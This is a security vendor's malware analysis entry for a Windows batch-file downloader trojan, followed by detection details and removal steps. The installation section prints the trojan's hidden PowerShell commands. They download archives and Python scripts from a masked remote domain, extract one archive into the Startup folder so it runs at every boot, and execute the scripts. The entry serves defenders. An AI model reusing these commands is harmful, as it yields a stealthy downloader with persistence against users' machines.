Analysis by: Jayvee Mark Villaroman
ALIASES:

Trojan:Script/Wacatac.B!ml (MICROSOFT)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel: Downloaded from the Internet, Dropped by other malware

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It attempts to access certain websites. However, the websites are inaccessible as of this writing.

  TECHNICAL DETAILS

File Size: 2,199 bytes
File Type: BAT
Memory Resident: No
Initial Samples Received Date: 16 Aug 2023
Payload: Connects to URLs/IPs, Drops files, Modifies system registry

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • start Chrome https://www.{BLOCKED}ress.us/
  • C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Invoke-WebRequest -URI https://{BLOCKED}e.store/Document.zip -OutFile C:\Users\Public\Document.zip
  • C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Expand-Archive C:\Users\Public\Document.zip -DestinationPath C:\Users\Public\Document
  • C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Invoke-WebRequest -URI https://{BLOCKED}e.store/4DUONGKHACHTRUNG.zip -OutFile C:\Users\Public\WindowsSecure.zip"
  • C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Expand-Archive C:\Users\Public\WindowsSecure.zip -DestinationPath C:\Users\$([Environment]::UserName)\AppData\Roaming\Microsoft\Windows\'Start Menu'\Programs\Startup
  • C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Invoke-WebRequest -URI https://{BLOCKED}e.store/rmv -OutFile C:\Users\Public\Document\rmv.py
  • C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden C:\Users\Public\Document\python C:\Users\Public\Document\rmv.py
  • C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Invoke-WebRequest -URI https://{BLOCKED}e.store/4DUONGKHACHTRUNG -OutFile C:\Users\Public\Document\project.py
  • C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden C:\Users\Public\Document\python C:\Users\Public\Document\project.py

Autostart Technique

This Trojan drops the following file(s) in the Windows Startup folder to enable its automatic execution at every system startup:

  • Extracted content of WindowsSecure.zip

Download Routine

This Trojan downloads the file from the following URL and renames the file when stored in the affected system:

  • https://{BLOCKED}e.store/4DUONGKHACHTRUNG.zip -> renamed to %Public%\WindowsSecure.zip
  • https://{BLOCKED}e.store/rmv -> renamed to %Public%\rmv.py
  • https://{BLOCKED}e.store/4DUONGKHACHTRUNG -> renamed to %Public%\project.py

Other Details

This Trojan attempts to access certain websites. However, the websites are inaccessible as of this writing.

  SOLUTION

Minimum Scan Engine: 9.800
FIRST VSAPI PATTERN FILE: 18.638.08
FIRST VSAPI PATTERN DATE: 16 Aug 2023
VSAPI OPR PATTERN File: 18.639.00
VSAPI OPR PATTERN Date: 17 Aug 2023

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Search and delete these files

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %Public%\Document.zip
  • %Public%\WindowsSecure.zip
  • %Public%\Document\Document.zip
  • %User Startup%\{Extracted contents of WindowsSecure.zip}
  • %Public%\Document\rmv.py
  • %Public%\Document\project.py

Step 4

Scan your computer with your Trend Micro product to delete files detected as Trojan.BAT.DOWNLOADER.B. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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